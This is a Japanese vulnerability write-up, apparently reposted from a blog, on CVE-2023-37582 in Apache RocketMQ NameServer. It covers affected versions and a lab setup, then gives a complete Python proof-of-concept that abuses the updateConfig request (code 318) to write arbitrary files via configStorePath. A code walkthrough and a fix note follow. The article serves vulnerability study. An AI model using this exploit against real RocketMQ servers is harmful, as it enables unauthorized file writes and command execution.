CVE-2023-37582 Apache RocketMQ リモート コード実行の脆弱性

94de55247dd138a9c57721a998e4cc01.jpeg

脆弱性プロファイル

Apache RocketMQ は、低遅延、高同時実行性、高可用性、高信頼性を備えた分散メッセージ ミドルウェアです。CVE-2023-37582 では、CVE-2023-33246 の不完全な修復により、Apache RocketMQ NameServer への不正アクセスがあると、攻撃者は RocketMQ を実行しているシステム ユーザーとしてコマンドを実行する悪意のあるリクエストを作成する可能性があります。

影響を受けるバージョン

Apache RocketMQ <= 5.1.1
Apache RocketMQ <= 4.9.6

環境構築

「Apache RocketMQ リモート コード実行の脆弱性 CVE-2023-33246 環境設定」を参照してください。

デバッグの利便性を考慮して、RocketMQ 関連サービスを Linux 上で構築し、ソース コードを使用して開始します。

合計 2 つのサービスを実行する必要があります

org.apache.rocketmq.namesrv.NamesrvStartup
org.apache.rocketmq.broker.BrokerStartup


最初に NamesrvStartup を開始し、次に BrokerStartup を開始します。環境変数 ROCKETMQ_HOME ROCKETMQ_HOME=/home/ubuntu/Desktop/rocketmq-rocketmq-all-5.1.0 を構成する必要があります。

ce259a67f9336d848a4974094c449948.jpeg 6562608b2162b6b6fcf7046c9b89ba6c.jpeg

脆弱性の再発

Pythonスクリプトを実行する

import socket
import binascii
client = socket.socket()

# you ip
client.connect(('192.168.222.130',9876))

# data
json = '{"code":318,"flag":0,"language":"JAVA","opaque":266,"serializeTypeCurrentRPC":"JSON","version":433}'.encode('utf-8')
body='configStorePath=/tmp/test.txt\nproductEnvName=123\\ntest'.encode('utf-8')
json_lens = int(len(binascii.hexlify(json).decode('utf-8'))/2) # 一个字节是2个十六进制数
head1 = '00000000'+str(hex(json_lens))[2:]      # hex(xxxx) 0x1243434 去掉 0x
all_lens = int(4+len(binascii.hexlify(body).decode('utf-8'))/2+json_lens)
head2 = '00000000'+str(hex(all_lens))[2:]
data = head2[-8:]+head1[-8:]+binascii.hexlify(json).decode('utf-8')+binascii.hexlify(body).decode('utf-8')

# send
client.send(bytes.fromhex(data))
data_recv = client.recv(1024)
print(data_recv)
0c9a849138989601b1aaf0d15cfb9375.jpeg db6dfca204f2e35fff6b4c65bf2dfe8f.jpeg

指定された文字列 test が tmp ディレクトリの下の test.txt ファイルに正常に書き込まれます。

脆弱性分析

org/apache/rocketmq/remoting/protocol/RequestCode.javaコードはさまざまな関数を呼び出すことを意味し、この時点で 318 構成更新の操作が呼び出されます。

src/main/java/org/apache/rocketmq/remoting/protocol/RequestCode.java

339c1c64817c0b2140c5eb6c36a918f2.jpeg

対応するコードに従って、対応する関数が呼び出されて処理されます。

src/main/java/org/apache/rocketmq/namesrv/processor/DefaultRequestProcessor.java

e3e2f76be6dfa323c0d1798843d4b087.jpeg

src/main/java/org/apache/rocketmq/namesrv/processor/DefaultRequestProcessor.java#updateConfig

86a2d7447cc3571a9c52021fa3655c77.jpeg

src/main/java/org/apache/rocketmq/remoting/Configuration.java#update

a998daed5aee9f59a283e7f60dc314f1.jpeg

まず、制御可能な属性かどうかを判断します

src/main/java/org/apache/rocketmq/remoting/Configuration.java#persist

7085a69b00298b69c6a00b5b35096846.jpeg

src/main/java/org/apache/rocketmq/remoting/Configuration.java#getStorePath

789143faf5c9b3c921465bc7096d4902.jpeg

を呼び出して getStorePathファイルパスを取得し、この時に取得した値がconfigStorePathの値となります。

src/main/java/org/apache/rocketmq/common/MixAll.java#string2File

e841b4f02e0a11ea9ac523e006008c76.jpeg

src/main/java/org/apache/rocketmq/common/MixAll.java#string2FileNotSafe

682779227b07affabc38b789e29a59cc.jpeg

src/main/java/org/apache/rocketmq/common/utils/IOTinyUtils.java#writeStringToFile

f1d3eb33fa5177e262af109cf983e78b.jpeg

バグの修正

構成パスの変更を無効にするパラメータを変更します

472dbac233e74fd8173fe7202843331b.jpeg

オリジナル原稿を募集します

オリジナルの技術記事を募集します。投稿を歓迎します

送信メール: [email protected]

記事の種類: ハッカーオタクのテクノロジー、情報セキュリティのホットスポット、セキュリティの調査と分析などセキュリティ関連

審査を通過して出版されると200~800元の報酬が得られる。

詳細については、私をクリックして表示してください。

66eca8269d9c23fc74bb190f293f930c.gif

射撃練習場は「原文を読む」をクリック

おすすめ

転載: blog.csdn.net/qq_38154820/article/details/132033601